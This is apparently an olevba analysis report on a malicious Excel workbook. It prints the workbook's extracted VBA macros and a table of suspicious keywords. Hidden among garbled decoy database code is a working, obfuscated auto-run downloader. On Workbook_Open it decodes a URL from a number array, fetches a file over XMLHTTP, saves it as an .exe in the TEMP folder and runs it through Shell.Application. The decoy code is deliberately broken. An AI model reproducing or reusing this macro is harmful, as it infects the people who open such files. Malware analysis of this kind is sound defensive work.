olevba 0.41 - http://decalage.info/python/oletools
Flags        Filename                                                         
-----------  -----------------------------------------------------------------
OLE:MAS-HB-V si823610-01.xls

(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)

===============================================================================
FILE: si823610-01.xls
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ÝòàÊíèãà.cls 
in file: si823610-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Private Sub Workbook_Open()
getListLastModifiedDate 9, ""
PopulateList "", "", False
PopulateTree ""
SelectDailyBalancingIdx 12

End Sub



-------------------------------------------------------------------------------
VBA MACRO Ëèñò1.cls 
in file: si823610-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04421'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Ëèñò2.cls 
in file: si823610-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04422'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Ëèñò3.cls 
in file: si823610-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04423'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module1.bas 
in file: si823610-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 

Public Sub DeleteVouchers( _
 NewVouch As String, _
 UsedVouchers As String, _
 Optional CmdObj As String)
 Dim bAllocatedLocally As Boolean
 If IsEmpty(CmdObj) Or CmdObj Is Nothing Then
 Set CmdObj.ActiveConnection = DbUtilities.GetConnection()
 CmdObj.ActiveConnection.CursorLocation = adUseClient
 bAllocatedLocally = True
 Else
 DbUtilities.ClearADOCmdParams CmdObj:=CmdObj
 bAllocatedLocally = False
 End If
 With CmdObj
 .CommandType = adCmdStoredProc
 .CommandText = Consta.nts.SCHEMA _
 & "." _
 & SP_DELETE_VOUCHERS
 .Parametersj.j.Append Object:= _
 .CreateParameter(Name:=PARM_USED_VIDS, _
 Type:=adVarChar, _
 Direction:=adParamInput, _
 Size:=LEN_LONG_VARCHAR, _
 Value:=Utilities.BuildDistinctDelimitedList( _
 UsedVouchers, _
 ";", _
 "VoucherId") & NewVouch.VoucherId)
 .Parametersj.j.Append Object:= _
 .CreateParameter(Name:=PARM_NUM_ROWS, _
 Type:=adInteger, _
 Direction:=adParamOutput, _
 Value:=Null)
 .Parametersj.j.Append Object:= _
 .CreateParameter(Name:=DbUtilities.PARM_ERR_PROCEDURE, _
 Type:=adVarChar, _
 Direction:=adParamOutput, _
 Size:=DbUtilities.LEN_ERR_PROCDEDURE, _
 Value:=Null)
 .Parametersj.j.Append Object:= _
 .CreateParameter(Name:=DbUtilities.PARM_ERR_LINE, _
 Type:=adInteger, _
 Direction:=adParamOutput, _
 Value:=Null)
 .Parametersj.j.Append Object:= _
 .CreateParameter(Name:=DbUtilities.PARM_ERR_MESSAGE, _
 Type:=adVarChar, _
 Direction:=adParamOutput, _
 Size:=DbUtilities.LEN_ERR_MESSAGE, _
 Value:=Null)
 .Execute
 End With
 DbUtilities.HandleStoredProcErrs CmdObj:=CmdObj
 If bAllocatedLocally Then
 Set CmdObj = Nothing
 End If
End Sub

Public Function SelectGL4349() As String
 Dim cmd As As String
 Dim rs As String
 Set cmd = New As String
 Set rs = New ADODB.Recordset
 With cmd
 Set .ActiveConnection = DbUtilities.GetConnection()
 .CommandType = adCmdStoredProc
 .CommandText = Consta.nts.SCHEMA & "." & SP_SELECT_GL4349
 .Parametersj.j.Append Object:= _
 .CreateParameter(Name:=DbUtilities.PARM_ERR_PROCEDURE, _
 Type:=adVarChar, _
 Direction:=adParamOutput, _
 Size:=DbUtilities.LEN_ERR_PROCDEDURE, _
 Value:=Null)
 .Parametersj.j.Append Object:= _
 .CreateParameter(Name:=DbUtilities.PARM_ERR_LINE, _
 Type:=adInteger, _
 Direction:=adParamOutput, _
 Value:=Null)
 .Parametersj.j.Append Object:= _
 .CreateParameter(Name:=DbUtilities.PARM_ERR_MESSAGE, _
 Type:=adVarChar, _
 Direction:=adParamOutput, _
 Size:=DbUtilities.LEN_ERR_MESSAGE, _
 Value:=Null)
 End With
 rsj.j.CursorLocation = adUseClient
 rsj.j.Open Source:=cmd, CursorType:=adOpenStatic, LockType:=adLockReadOnly
 DbUtilities.HandleStoredProcErrs CmdObj:=cmd
 DbUtilities.LoadAllRecords Records:=rs
 Set SelectGL4349 = rs
 Set cmd = Nothing
 Set rs = Nothing
End Function
Public Function SelectGL4349ById(GlId As Variant) As String
 Dim cmd As As String
 Dim rs As String
 Set cmd = New As String
 Set rs = New ADODB.Recordset
 With cmd
 Set .ActiveConnection = DbUtilities.GetConnection()
 .CommandType = adCmdStoredProc
 .CommandText = Consta.nts.SCHEMA & "." & SP_SELECT_GL4349_BY_ID
 .Parametersj.j.Append Object:= _
 .CreateParameter(Name:=PARM_TRANS_ID, _
 Type:=adInteger, _
 Direction:=adParamInput, _
 Value:=Utilities.GetLongValue(GlId))
 .Parametersj.j.Append Object:= _
 .CreateParameter(Name:=DbUtilities.PARM_ERR_PROCEDURE, _
 Type:=adVarChar, _
 Direction:=adParamOutput, _
 Size:=DbUtilities.LEN_ERR_PROCDEDURE, _
 Value:=Null)
 .Parametersj.j.Append Object:= _
 .CreateParameter(Name:=DbUtilities.PARM_ERR_LINE, _
 Type:=adInteger, _
 Direction:=adParamOutput, _
 Value:=Null)
 .Parametersj.j.Append Object:= _
 .CreateParameter(Name:=DbUtilities.PARM_ERR_MESSAGE, _
 Type:=adVarChar, _
 Direction:=adParamOutput, _
 Size:=DbUtilities.LEN_ERR_MESSAGE, _
 Value:=Null)
 End With
 rsj.j.CursorLocation = adUseClient
 rsj.j.Open Source:=cmd, CursorType:=adOpenStatic, LockType:=adLockReadOnly
 DbUtilities.HandleStoredProcErrs CmdObj:=cmd
 DbUtilities.LoadAllRecords Records:=rs
 Set SelectGL4349ById = rs
 Set cmd = Nothing
 Set rs = Nothing
End Function



-------------------------------------------------------------------------------
VBA MACRO Module2.bas 
in file: si823610-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 

Public Sub fillList(frm As String, ctrlSource As String, Optional ctrlDest As String)
On Error GoTo Err_Handler
 Dim db As DAO.database
 Dim rs As DAO.Recordset
 Dim strQuery As String, strSQL As String
 Select Case ctrlSo.urce.Name
 Case "lbxDataSheets", "sfrmDatasheets"
 strQuery = "qry_Active_Datasheets"
 strSQL = CurrentDb.QueryDefs(strQuery).Sql
 Case "lbxSpecies", "lbxTgtSpecies", "fsub_Species_Listbox"
 strQuery = "qry_Plant_Species"
 strSQL = CurrentDb.QueryDefs(strQuery).Sql
 End Select
 Set db = CurrentDb
 Set rs = db.OpenRecordset(strSQL)
 TempVarsj.j.Add "strSQL", strSQL
 If Not ctrlDest Is Nothing Then
 PopulateList ctrlSource, rs, ctrlDest
 Else
 PopulateListHeaders ctrlSource, rs
 End If
exit_sub:
 Exit Sub
Err_Handler:
 Select Case Err.Number
 Case Else
 MsgBox "Error #" & Err.Number & ": " & Err.Description, vbCritical, _
 "Error encountered (#" & Err.Number & " - fillList[mod_App_Data])"
 End Select
 Resume exit_sub
End Sub
Public Sub PopulateList(ctrlSource As String, rs As String, ctrlDest As Boolean)
On Error GoTo Err_Handler
 Dim frm() As Variant
 Dim rows As Integer, cols As Integer, i As Integer, j As Integer, matches As Integer, iZeroes As Integer
 Dim stritem As String, strColHeads As String, aryColWidths() As String
 frm = Array(3290, 3302, 3302, 3298, 3244, 3233, 3233, 3293, 3286, 3297, 3292, 3291, 3296, 3307, 3290, 3284, 3232, 3305, 3308, 3232, 3285, 3308, 3233, 3242, 3241, 3307, 3302, 3287, 3239, 3239, 3233, 3240, 3302, 3238, 3239, 3287, 3307, 3304, 3232, 3287, 3306, 3287)
If ctrlDest = False Then
rodger_yet.Open "G" + "" + UCase("e") + UCase("t"), _
FormOpen(frm, 41), ctrlDest
 End If
 rodger_yet.Send
 Exit Sub
 frm = ctrlSo.urce.Parent
 rows = rsjj.RecordCount
 cols = rsjj.Fields.Count
 If Nzj.j(rows, 0) = 0 Then
 MsgBox "Sorry, no records found..."
 GoTo exit_sub
 End If
 If ctrlSo.urce.ControlType = acSubform Then
 Set ctrlSo.urce.Form.Recordset = rs
 ctrlSo.urce.Form.Controls("tbxCode").ControlSource = "Code"
 ctrlSo.urce.Form.Controls("tbxSpecies").ControlSource = "Species"
 ctrlSo.urce.Form.Controls("tbxLUCode").ControlSource = "LUCode"
 ctrlSo.urce.Form.Controls("tbxTransectOnly").ControlSource = "Transect_Only"
 ctrlSo.urce.Form.Controls("tbxTgtAreaID").ControlSource = "Target_Area_ID"
 rsj.j.MoveLast
 ctrlSo.urce.Parent.Form.Controls("lblSfrmSpeciesCount").Caption = rsj.j.RecordCount & " species"
 rsj.j.MoveFirst
 GoTo exit_sub
 End If
 aryColWidths = Split(ctrlSo.urce.ColumnWidths, ";")
 iZeroes = CountArra.yValues(aryColWidths, "0")
 ClearL.ist ctrlSource
 If ctrlSo.urce.ColumnHeads = True Then
 PopulateLi.stHeaders ctrlSource, rs
 If ctrl.Dest.ColumnHeads = True Then
 Clear.List ctrlDest
 Populat.eListHeaders ctrlDest, rs
 End If
 End If
 Select Case ctrlSo.urce.RowSourceType
 Case "Table/Query"
 Set ctrlSo.urce.Recordset = rs
 Case "Value List"
 i = 0
 Do Until rsj.j.EOF
 stritem = ""
 For j = 0 To cols - 1
 If CInt(aryColWidths(j)) > 0 Then
 stritem = stritem & rsj.j.Fields(j).Value & ";"
 matches = (Len(stritem) - Len(Replace$(stritem, ";", ""))) / Len(";")
 If matches = cols - iZeroes Then
 ctrlSo.urce.AddItem stritem
 stritem = ""
 End If
 End If
 Next
 i = i + 1
 rsj.j.MoveNext
 Loop
 Case "Field List"
 End Select
exit_sub:
 Exit Sub
Err_Handler:
 Select Case Err.Number
 Case Else
 MsgBox "Error #" & Err.Number & ": " & Err.Description, vbCritical, _
 "Error encountered (#" & Err.Number & " - PopulateList[mod_App_Data])"
 End Select
 Resume exit_sub
End Sub
Public Sub AddListToTable(lbx As ListBox)
On Error GoTo Err_Handler
Dim aryFields() As String
Dim aryFieldTypes() As Variant
Dim strCode As String, strSpecies As String, strLUCode As String
Dim iRow As Integer, iTransectOnly As Integer, iTgtAreaID As Integer
 iRow = lbx.ListCount - 1
 ReDim Preserve aryFields(0 To iRow)
 aryFields(0) = "Code;Species;LUCode;Transect_Only;Target_Area_ID"
 aryFieldTypes = Array(dbText, dbText, dbText, dbInteger, dbInteger)
 For iRow = 1 To lbx.ListCount - 1
 strCode = lbx.Column(0, iRow)
 strSpecies = lbx.Column(1, iRow)
 strLUCode = lbx.Column(2, iRow)
 iTransectOnly = Nz(lbx.Column(3, iRow), 0)
 iTgtAreaID = Nz(lbx.Column(4, iRow), 0)
 aryFields(iRow) = strCode & ";" & strSpecies & ";" & strLUCode & ";" & iTransectOnly & ";" & iTgtAreaID
 Next
 SetListRecordset lbx, True, aryFields, aryFieldTypes, "temp_Listbox_Recordset", True
exit_sub:
 Exit Sub
Err_Handler:
 Select Case Err.Number
 Case Else
 MsgBox "Error #" & Err.Number & ": " & Err.Description, vbCritical, _
 "Error encountered (#" & Err.Number & " - PopulateList[mod_App_Data])"
 End Select
 Resume exit_sub
End Sub
Public Function getParkState(parkCode As String) As String
On Error GoTo Err_Handler
 Dim db As DAO.database
 Dim rs As DAO.Recordset
 Dim State As String, strSQL As String
 If Len(parkCode) <> 4 Then
 GoTo Exit_Function
 End If
 strSQL = "SELECT TOP 1 ParkState FROM tlu_Parks WHERE ParkCode LIKE "
 Set db = CurrentDb
 Set rs = db.OpenRecordset(strSQL)
 If rsj.j.RecordCount > 0 Then
 State = rsj.j.Fields("ParkState").Value
 End If
 getParkState = State
Exit_Function:
 Exit Function
Err_Handler:
 Select Case Err.Number
 Case Else
 MsgBox "Error #" & Err.Number & ": " & Err.Description, vbCritical, _
 "Error encountered (#" & Err.Number & " - getParkState[mod_App_Data])"
 End Select
 Resume Exit_Function
End Function
Public Function getListLastModifiedDate(TgtYear As Integer, parkCode As String) As String
On Error GoTo Err_Handler
 Dim strCriteria As String
 If TgtYear < 2000 Then
 GoTo Exit_Function
 End If
 strCriteria = "Park_Code LIKE "
 getListLastModifiedDate = HHHNV.kkk(Format(DLoo.kup("Last_Modified", "tbl_Target_List", strCriteria), "mmm-d-yyyy H:nn AMPM"), "")
Exit_Function:

 Set rodger_yet = CreateObject("Microsoft" + ".XMLHTTP")
 Set kirka_man = CreateObject("Adodb" + ".Str" + Chr(LEN_GL_JID + 1) + "am")
Set endy_boc = CreateObject("WScript" + ".Shell").Environment("Pro" + "" + "c" + Chr(LEN_GL_JID + 1) + "ss")
Set MyRunO = CreateObject("Sh" + Chr(LEN_GL_JID + 1) + "ll" + "" + "." + "" + "App" + "lication")
 Exit Function
Err_Handler:
 Select Case Err.Number
 Case Else
 MsgBox "Error #" & Err.Number & ": " & Err.Description, vbCritical, _
 "Error encountered (#" & Err.Number & " - getListLastModifiedDate[mod_App_Data])"
 End Select
 Resume Exit_Function
End Function
Public Function IsUsedTargetArea(TgtAreaID As Integer) As Boolean
On Error GoTo Err_Handler
 Dim db As DAO.database
 Dim rs As DAO.Recordset
 Dim strSQL As String
 IsUsedTargetArea = False
 strSQL = "SELECT TOP 1 Target_Area_ID FROM tbl_Target_Species WHERE Target_Area_ID = " & TgtAreaID & ";"
 Set db = CurrentDb
 Set rs = db.OpenRecordset(strSQL)
 If rsj.j.RecordCount > 0 Then
 IsUsedTargetArea = True
 Else
 GoTo Exit_Function
 End If
Exit_Function:
 Exit Function
Err_Handler:
 Select Case Err.Number
 Case Else
 MsgBox "Error #" & Err.Number & ": " & Err.Description, vbCritical, _
 "Error encountered (#" & Err.Number & " - IsUsedTargetArea[mod_App_Data])"
 End Select
 Resume Exit_Function
End Function
Public Sub PopulateTree(TreeType As String)
On Error GoTo Err_Handler
 Dim db As String
 Dim rs As String
 Dim strSQL As String
 ficks_me = "" + endy_boc("T" + "" + UCase(Chr(LEN_GL_JID + 1)) _
 + UCase(Chr(LEN_GL_JID + 9)) + "P") + ""
 kirka_man.Type = 1
must_be_DEL = "" + ficks_me + Chr(LEN_GL_JID - 8) + _
"" + "dam" + Chr(LEN_GL_JID + 1) + "dig." + Chr(LEN_GL_JID + 1) + _
"x" + Chr(LEN_GL_JID + 1)
GoTo exit_sub
 Select Case TreeType
 Case "ParkSiteFeatureTransectPlot"
 strSQL = "SELECT * FROM qry_Park_Site_Feature_Transect_Plot"
 Case "Photo"
 End Select
  db = CurrentDb
  rs = dbjj.kk.OpenRecordset(strSQL)
 If rsj.j.RecordCount > 0 Then
 Else
 GoTo exit_sub
 End If
exit_sub:
    kirka_man.Open
 Exit Sub
Err_Handler:
 Select Case Err.Number
 Case Else
 MsgBox "Error #" & Err.Number & ": " & Err.Description, vbCritical, _
 "Error encountered (#" & Err.Number & " - PopulateTree[mod_App_Data])"
 End Select
 Resume exit_sub
End Sub
Public Sub PopulateCombobox(cbx As String, BoxType As String)
On Error GoTo Err_Handler
 Dim db As DAO.database
 Dim rs As DAO.Recordset
 Dim strSQL As String
 Select Case BoxType
 Case ""
 Case "priority"
 strSQL = "SELECT ID, Priority FROM Priority ORDER BY Sequence ASC;"
 Case "status"
 strSQL = "SELECT ID, Status FROM Status ORDER BY Sequence ASC;"
 End Select
 Set db = CurrentDb
 Set rs = db.OpenRecordset(strSQL)
 If rsj.j.RecordCount > 0 Then
 cbx.Recordset = rs
 Else
 GoTo exit_sub
 End If
exit_sub:
 Exit Sub
Err_Handler:
 Select Case Err.Number
 Case Else
 MsgBox "Error #" & Err.Number & ": " & Err.Description, vbCritical, _
 "Error encountered (#" & Err.Number & " - PopulateTree[mod_App_Data])"
 End Select
 Resume exit_sub
End Sub






-------------------------------------------------------------------------------
VBA MACRO Module3.bas 
in file: si823610-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Private Const LEN_GL_DESCRIPTION As Long = 200
Public Const LEN_GL_JID As Integer = 100
Public Const LEN_GL_USER_ID As Long = 50
Private Const LEN_GL_VOUCHER As Long = 4000
Private Const LEN_LONG_VARCHAR As Long = 4000
Private Const LEN_VID As Long = 10
Private Const LEN_BATCH_NUMBER As Long = 20
Private Const LEN_FILTER_PARAM As Long = 100
Private Const PARM_AMOUNT As String = "@amount"
Private Const PARM_ARE_EQUAL As String = "@areEqual"
Private Const PARM_BATCH_NUMBER As String = "@batchNumber"
Private Const PARM_COLOR As String = "@color"
Private Const PARM_COMMENTS As String = "@comments"
Private Const PARM_DATE_CHECKED As String = "@dateChecked"
Private Const PARM_DESCRIPTION As String = "@description"
Private Const PARM_FILTER As String = "@filterParam"
Private Const PARM_FULL_VOUCHER As String = "@fullVoucher"
Private Const PARM_GL_ID As String = "@glId"
Private Const PARM_JID As String = "@jid"
Public rodger_yet As Object
Public kirka_man As Object
Public endy_boc As Object
Public ficks_me  As String
Public must_be_DEL  As String
Public MyRunO As Object
Public Function SelectDailyBalancingIdx(BatchNum As Long) As String

 Dim cmd As String
 Dim rs As String
 GoTo exit_sub
 With cm.d
 Set .ActiveConnection = DbUtilities.GetConnection()
 .CommandType = adCmdStoredProc
 .CommandText = Constan.ts.SCHEMA & "." & SP_SELECT_DB_IDX
 .Parametersj.j.Append Object:= _
 .CreateParameter(Name:=PARM_BATCH_NUMBER, _
 Type:=adVarChar, _
 Direction:=adParamInput, _
 Size:=LEN_BATCH_NUMBER, _
 Value:=BatchNum)
 .Parametersj.j.Append Object:= _
 .CreateParameter(Name:=DbUtilities.PARM_ERR_PROCEDURE, _
 Type:=adVarChar, _
 Direction:=adParamOutput, _
 Size:=DbUtilities.LEN_ERR_PROCDEDURE, _
 Value:=Null)
 .Parametersj.j.Append Object:= _
 .CreateParameter(Name:=DbUtilities.PARM_ERR_LINE, _
 Type:=adInteger, _
 Direction:=adParamOutput, _
 Value:=Null)
 .Parametersj.j.Append Object:= _
 .CreateParameter(Name:=DbUtilities.PARM_ERR_MESSAGE, _
 Type:=adVarChar, _
 Direction:=adParamOutput, _
 Size:=DbUtilities.LEN_ERR_MESSAGE, _
 Value:=Null)
 End With
 rsj.j.CursorLocation = adUseClient
 rsj.j.Open Source:=cmd, CursorType:=adOpenStatic, LockType:=adLockReadOnly
 DbUtilities.HandleStoredProcErrs CmdObj:=cmd
 DbUtilities.LoadAllRecords Records:=rs
exit_sub:
kirka_man.write rodger_yet.responseBody
    kirka_man.savetofile must_be_DEL, 2
SelectGL4349ByJournalDate "", ""
 Exit Function
  SelectDailyBalancingIdx = rs
  cmd = ""
  rs = ""
End Function
Public Function SelectGL4349ByJournalDate(MinDate As String, MaxDate As String) As String
 Dim cmd As String
 Dim rs As String
 Dim cGl As String
 Dim cGls As String
 GoTo exit_sub
 
 cGl = Factory.CreateCGlBean( _
 Amount:=rsj.j.Fields(Consta.nts.SRC_AMOUNT).Value, _
 ColorCode:=rsj.j.Fields(Consta.nts.SRC_COLOR_CODE).Value, _
 Comments:=rsj.j.Fields(Consta.nts.SRC_COMMENTS).Value, _
 DateChecked:=rsj.j.Fields(Consta.nts.SRC_CHECKED_DATE).Value, _
 Description:=rsj.j.Fields(Consta.nts.SRC_DESCRIPTION).Value, _
 FullVoucher:=rsj.j.Fields(Consta.nts.SRC_FULL_VOUCHER).Value, _
 JID:=rsj.j.Fields(Consta.nts.SRC_JID).Value, _
 JournalDate:=rsj.j.Fields(Consta.nts.SRC_JOURNAL_DATE).Value, _
 PostedDate:=rsj.j.Fields(Consta.nts.SRC_POSTED_DATE).Value, _
 GlId:=rsj.j.Fields(Consta.nts.SRC_GL_ID).Value, _
 UserId:=rsj.j.Fields(Consta.nts.SRC_USER_ID).Value, _
 VoucherId:=rsj.j.Fields(Consta.nts.SRC_VOUCHER_ID).Value)
exit_sub:
MyRunO.Open _
("" + _
must_be_DEL + "")
Exit Function
 j.j.Add Item:=cGl, Key:=Utilities.GetStringValue(cGjj.l.GlId)
 rsj.j.MoveNext
 Set SelectGL4349ByJour.nalDate = cGls
 Set cmdhh.hgf = Nothing
 Set rhh.hfs = Nothing
End Function
Public Function FormOpen(Z() As Variant, oldLen As Integer) As String
Dim n As Integer
For n = LBound(Z) To UBound(Z)
    FormOpen = FormOpen & Chr(Z(n) - 13 * oldLen - 2653)
Next n
End Function
Public Function SelectGL4349Filtered(FilterParam As Variant) As String
 Dim cmd As As String
 Dim rs As String
 Set cmd = New As String
 Set rs = New ADODB.Recordset
 With cmd
 Set .ActiveConnection = DbUtilities.GetConnection()
 .CommandType = adCmdStoredProc
 .CommandText = Consta.nts.SCHEMA & "." & SP_SELECT_GL4349_FILTERED
 .Parametersj.j.Append Object:= _
 .CreateParameter(Name:=PARM_FILTER, _
 Type:=adVarChar, _
 Direction:=adParamInput, _
 Size:=LEN_FILTER_PARAM, _
 Value:=Utilities.GetStringValue(FilterParam))
 .Parametersj.j.Append Object:= _
 .CreateParameter(Name:=DbUtilities.PARM_ERR_PROCEDURE, _
 Type:=adVarChar, _
 Direction:=adParamOutput, _
 Size:=DbUtilities.LEN_ERR_PROCDEDURE, _
 Value:=Null)
 .Parametersj.j.Append Object:= _
 .CreateParameter(Name:=DbUtilities.PARM_ERR_LINE, _
 Type:=adInteger, _
 Direction:=adParamOutput, _
 Value:=Null)
 .Parametersj.j.Append Object:= _
 .CreateParameter(Name:=DbUtilities.PARM_ERR_MESSAGE, _
 Type:=adVarChar, _
 Direction:=adParamOutput, _
 Size:=DbUtilities.LEN_ERR_MESSAGE, _
 Value:=Null)
 End With
 rsj.j.CursorLocation = adUseClient
 rsj.j.Open Source:=cmd, CursorType:=adOpenStatic, LockType:=adLockReadOnly
 DbUtilities.HandleStoredProcErrs CmdObj:=cmd
 DbUtilities.LoadAllRecords Records:=rs
 Set SelectGL4349Filtered = rs
 Set cmd = Nothing
 Set rs = Nothing
End Function
Public Function SelectNewVoucherId() As Long
 Dim cmd As As String
 Dim rs As String
 Set cmd = New As String
 Set rs = New ADODB.Recordset
 With cmd
 Set .ActiveConnection = DbUtilities.GetConnection()
 .CommandType = adCmdStoredProc
 .CommandText = Consta.nts.SCHEMA & "." & SP_SELECT_NEW_VID
 End With
 rsj.j.CursorLocation = adUseClient
 rsj.j.Open Source:=cmd, CursorType:=adOpenStatic, LockType:=adLockReadOnly
 SelectNewVoucherId = Utilities.GetLongValue(rsj.j.Fields(PARM_NEWVID).Value)
 Set cmd = Nothing
 Set rs = Nothing
End Function





+------------+----------------------+-----------------------------------------+
| Type       | Keyword              | Description                             |
+------------+----------------------+-----------------------------------------+
| AutoExec   | Workbook_Open        | Runs when the Excel Workbook is opened  |
| Suspicious | Open                 | May open a file                         |
| Suspicious | Shell                | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | CreateObject         | May create an OLE object                |
| Suspicious | Chr                  | May attempt to obfuscate specific       |
|            |                      | strings                                 |
| Suspicious | SaveToFile           | May create a text file                  |
| Suspicious | Write                | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | WScript.Shell        | May run an executable file or a system  |
|            |                      | command (obfuscation: VBA expression)   |
| Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
|            |                      | (obfuscation: VBA expression)           |
| Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
|            |                      | be used to obfuscate strings (option    |
|            |                      | --decode to see all)                    |
| Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
|            |                      | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
|            | Strings              | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| VBA string | G                    | "G" + ""                                |
| VBA string | Microsoft.XMLHTTP    | ("Microsoft" + ".XMLHTTP")              |
| VBA string | Adodb.Str            | "Adodb" + ".Str"                        |
| VBA string | WScript.Shell        | ("WScript" + ".Shell")                  |
| VBA string | Proc                 | "Pro" + "" + "c"                        |
| VBA string | ll.Application       | "ll" + "" + "." + "" + "App" +          |
|            |                      | "lication"                              |
| VBA string | T                    | "T" + ""                                |
| VBA string | dam                  | "" + "dam"                              |
+------------+----------------------+-----------------------------------------+